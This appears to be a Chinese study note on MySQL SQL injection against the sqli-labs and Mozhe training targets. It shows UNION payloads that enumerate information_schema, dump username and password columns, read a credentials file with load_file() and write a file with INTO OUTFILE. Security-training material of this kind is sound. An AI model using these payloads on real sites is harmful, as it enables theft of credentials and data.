1. 简单案例

1.1 简易代码分析SQL注入原理



http://localhost:8085/sqli-labs/Less-2/index.php?id=2



id=2 正常查询

http://localhost:8085/sqli-labs/Less-2/index.php?id=-2



id=-2的话什么都查不出来,表中没有负数的 id。

http://localhost:8085/sqli-labs/Less-2/index.php?id=-2%20union%20select%201,%20email_id,%203%20from%20emails



用union查询邮箱就查出来了。

问题



1、2、3、4都可能注入。



b、c正确。

:::warning

a 注入的是参数 y

d 注入的是 参数 xx

只要 b 和 c 注入参数 x

:::

1.2 Sqlilabs注入靶场搭建简要使用

sqli-labs下载地址: https://github.com/Audi-1/sqli-labs

phpstudy下载地址:https://www.xp.cn/

注意:sqli-labs要在php5.x版本使用,7.x版本不能用,在phpstudy中切换成php5.x的版本。

1.3 墨者靶机真实MYSQL注入演示

如何判断注入点?

老办法:

  • and 1=1页面正常
  • and 1=2 页面错误

那么可能存在注入点。

SELECT * FROM users WHERE id = 1 and 1 = 1 LIMIT 0, 1 正常
SELECT * FROM users WHERE id = 1 and 1 = 2 LIMIT 0, 1 错误

要选用最舒服的方法测试。

新方法:

  1. 猜解列名数量(字段数):用 order by
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 4 正常
http://localhost:8085/sqli-labs/Less-2/index.php?id=1 order by 5 错误 第一个报错的列数是5,那么就有4列。
  1. union注入

union注入前后两条语句字段数相同,不然报错。

http://localhost:8085/sqli-labs/Less-2/index.php?id=1 union select 1, 2, 3, 4 

将id=-1,前面的查询就不会成功
http://localhost:8085/sqli-labs/Less-2/index.php?id=-1 union select 1, 2, 3, 4

网页显示的数字是就是回显位置 ,1、2、3、4 其中的几个或一个。

信息收集

  • 数据库版本:version()
  • 数据库名字:database()
  • 数据库用户:user()
  • 操作系统:@@version_compile_os
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, version(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, database(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, user(), 2, 3, 4
http://219.153.49.228:48354/new_list.php?id=-1 union select 1, @@version_compile_os, 2, 3, 4

知识点:

  • 在MySQL5.0以上版本中,MySQL存在一个自带数据库名为information_schema。它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或列名信息。
  • 数据库中符号“.“代表下一级,如xiao.urer表示xiao数据库下的user表名
information_schema.tables: 记录所有表名信息的表
information_schema.colums: 记录所有列名信息的表 table_name: 表名
colunn_nane: 列名
table_schema: 数据库名

当前 mysql 实例中所有数据库的信息。SHOW DATABASES; 命令从这个表获取数据。

mysql> use information_schema;
Database changed
mysql> SELECT * FROM SCHEMATA;
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| CATALOG_NAME | SCHEMA_NAME | DEFAULT_CHARACTER_SET_NAME | DEFAULT_COLLATION_NAME | SQL_PATH | DEFAULT_ENCRYPTION |
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
| def | mysql | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO |
| def | information_schema | utf8 | utf8_general_ci | NULL | NO |
| def | performance_schema | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO
|
| def | sys | utf8mb4 | utf8mb4_0900_ai_ci | NULL | NO
|
|
| def | security | gbk | gbk_chinese_ci | NULL | NO
|
| def | challenges | gbk | gbk_chinese_ci | NULL | NO
|
+--------------+--------------------+----------------------------+------------------------+----------+--------------------+
6 rows in set (0.00 sec)

所以查出数据库名后,根据数据库名在information_schem数据库中的tables中查表名和在columns中查列名。

查询指定数据库名mozhe_Discuz_stormGroup下的表名信息:
http://219.153.49.228:48354/new_list.php?id=-1 union select
1,group_concat (table_name),3,4 from information_schema.tables
where table_schema='mozhe_Discuz_StormGroup'



查询指定表名stozmGzoup_member下的列名信息:

http://219.153.49.228148354/new_list.php?id=-1 union select
1,group_concat(column_name),3,4 from
Information_schema.colums where
table_name='StormGroup_member'



查询指定数据

http://219.153.49.228148354/new_list.php?id=-1 union
select 1,name,password,4 from StormGroup_member



猜解多个数据可以采用limit x, 1 变动猜解。

2. 高权限注入及低权限注入

root用户有最高权限,一般用户只有自己管理的数据库权限。

2.1 跨库查询及应用思路

  • 低版本注入配合读取或暴力,用SQLmap 字典或读取
  • 高版本MySQL:information_schema表特性,记录库名,表名,列名对应表。
  1. 获取所有数据库名:
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1, schema_name, 3 from information_schema.schemata



只有一个数据库名,查询语句最后有limit 0, 1,所以只能查一条数据,用group_concat查出所有库名。

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1, group_concat(schema_name), 3 from information_schema.schemata

  1. 获取bookstore数据库的表名
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1, group_concat(table_name), 3 from information_schema.tables
where table_schema = 'bookstore'

  1. 获取user表的列名
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union select
1,group_concat(column_name),3 from information_schema.columns
where table_name='user'

  1. 获取username和password
http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1,username,password from bookstore.user where user.id = 3

2.2 文件读写操作

常见读取文件列表:

  • load_file():读取函数
  • into outfile 或 into dumpfile:导出函数

2.2.2.1 读取操作

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 1,load_file("D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\sql-connections\\db-creds.inc"),3



可以看到在查看网页源代码页面中有配置文件内容。

注意:本地MySQL要有文件读写权限。

在MySQL的配置文件my.ini中加上secure_file_priv='',然后重启MySQL服务即可。

2.2.2.2 写入操作

http://127.0.0.1:8085/sqli-labs/Less-2/?id=-1 union
select 'Hello', 'World', '!'
into outfile 'D:\\Programme\\softWare\\phpStudy\\WWW\\sqli-labs\\hello.php'--+



成功写入内容

2.3 路径获取常见方法

  • 报错显示

  • 遗留文件
  • 漏洞报错
  • 平台配置文件
  • 爆破

2.4 常见写入文件问题

魔术引号开关 magic_quote_gpc

  • 将文件路径和文件名转为HEX,输入进load_file函数括号中。

魔术引号及常见防护

  • 将注入 id 中的 select 等关键字替换成其他字符。

[小迪安全]笔记 day12、13 MySQL注入的更多相关文章

  1. 安全测试===Mysql 注入技巧学习 MySQL注入技巧(2)

    原文地址:http://websec.files.wordpress.com/2010/11/sqli2.pdf 0x00.介绍 也可以参考瞌腄龙的mysql注入科普:http://drops.woo ...

  2. mysql注入篇

    博客这个东西真的很考验耐心,每写一篇笔记,都是在艰难的决定中施行的,毕竟谁都有懒惰的一面,就像这个,mysql注入篇,拖拖拖一直拖到现在才开始总结,因为这个实在是太多太杂了,细细的总结一篇太烧脑. 由 ...

  3. 对MYSQL注入相关内容及部分Trick的归类小结

    前言 最近在给学校的社团成员进行web安全方面的培训,由于在mysql注入这一块知识点挺杂的,入门容易,精通较难,网上相对比较全的资料也比较少,大多都是一个比较散的知识点,所以我打算将我在学习过程中遇 ...

  4. Mysql注入汇总!!!!!!!!!

    师傅tpl!!!!! https://xz.aliyun.com/t/7169[对MYSQL注入相关内容及部分Trick的归类小结] https://www.jianshu.com/p/f261125 ...

  5. Android菜鸟的成长笔记(13)——异步任务(Async Task)

    原文:[置顶] Android菜鸟的成长笔记(13)——异步任务(Async Task) Android的UI线程主要负责处理用户的事件及图形显示,因此主线程UI不能阻塞,否则会弹出一个ANR(App ...

  6. MySQL注入与防御(排版清晰内容有条理)

    为何我要在题目中明确排版清晰以及内容有条理呢? 因为我在搜相关SQL注入的随笔博客的时候,看到好多好多都是页面超级混乱的.亲爱的园友们,日后不管写博客文章还是平时写的各类文章也要多个心眼,好好注意一下 ...

  7. .NET CORE学习笔记系列(2)——依赖注入[7]: .NET Core DI框架[服务注册]

    原文https://www.cnblogs.com/artech/p/net-core-di-07.html 包含服务注册信息的IServiceCollection对象最终被用来创建作为DI容器的IS ...

  8. .NET CORE学习笔记系列(2)——依赖注入[6]: .NET Core DI框架[编程体验]

    原文https://www.cnblogs.com/artech/p/net-core-di-06.html 毫不夸张地说,整个ASP.NET Core框架是建立在一个依赖注入框架之上的,它在应用启动 ...

  9. .NET CORE学习笔记系列(2)——依赖注入[5]: 创建一个简易版的DI框架[下篇]

    为了让读者朋友们能够对.NET Core DI框架的实现原理具有一个深刻而认识,我们采用与之类似的设计构架了一个名为Cat的DI框架.在上篇中我们介绍了Cat的基本编程模式,接下来我们就来聊聊Cat的 ...

  10. .NET CORE学习笔记系列(2)——依赖注入[4]: 创建一个简易版的DI框架[上篇]

    原文https://www.cnblogs.com/artech/p/net-core-di-04.html 本系列文章旨在剖析.NET Core的依赖注入框架的实现原理,到目前为止我们通过三篇文章从 ...

随机推荐

  1. linux系统分类

    1.RedHat系列:Redhat.Centos.Fedora等 2.Debian系列:Debian.Ubuntu等 RedHat 系列 1 常见的安装包格式 rpm包,安装rpm包的命令是" ...

  2. java.io.IOException: Cannot run program "phantomjs": CreateProcess error=2, 系统找不到指定的文件

    一.问题 运行该指令的程序找不到phantomjs这个指令 二.解决 1.配置全局变量 注意!!! 要配置系统变量,只配置用户变量,可能还会出现该错误.ps:我就是只配置用户变量,导致一直出错... ...

  3. bert一些思考

    bert结构 首先是embdding lookup,[batch * seq]-->[batch, seq, hidden] 然后是加个mask embdding和type embdding和p ...

  4. this和箭头函数的this

    https://www.cnblogs.com/lfri/p/11872696.html https://www.ruanyifeng.com/blog/2018/06/javascript-this ...

  5. javaScript事件onmouseout 、 onmouseove

    javaScript事件onmouseout . onmouseove onmouseout: 鼠标从某元素移开 onmouseover: 鼠标被移到某元素之上 这两个事件是鼠标滑过元素是的效果,可以 ...

  6. 容器内Java微服务报错:unable to create new native thread

    unable to create new native threadhttps://stackoverflow.com/questions/16789288/java-lang-outofmemory ...

  7. 高并发解决方案之 mysql悲观锁:select ... for update

    select ... for update 场景:多个进程都先读后写咋办,需要的是让他们串行执行. 比如库存的减少.一般这些操作都是很长一串并且是开启事务的.如果库存刚开始读的时候是1,而立马另一个进 ...

  8. shortcuts

    关闭选项卡 Ctrl+W 关闭当前窗口 alt + F4 alt + 空格 + c alt + 空格 + n 最小化窗口 alt + 空格 + x 最大化窗口 ALT+F4 关闭当前应用程序 ctrl ...

  9. Python操作数据库读书笔记

    SQLite 简介 什么是 SQLite? SQLite是一个进程内的库,实现了自给自足的.无服务器的.零配置的.事务性的 SQL 数据库引擎.它是一个零配置的数据库,这意味着与其他数据库一样,您不需 ...

  10. MSVC-用于其他IDE的手工环境配置,手工提取

    ​ 最近因为在使用Code::Blocks编程,遇到了MSVC编译的库,不愿意换VS,所以手工配置了MSVC路径.CB是有点老了,不像现在新的IDE都是自动搜索的,而且我又不会批处理orz. 这里面可 ...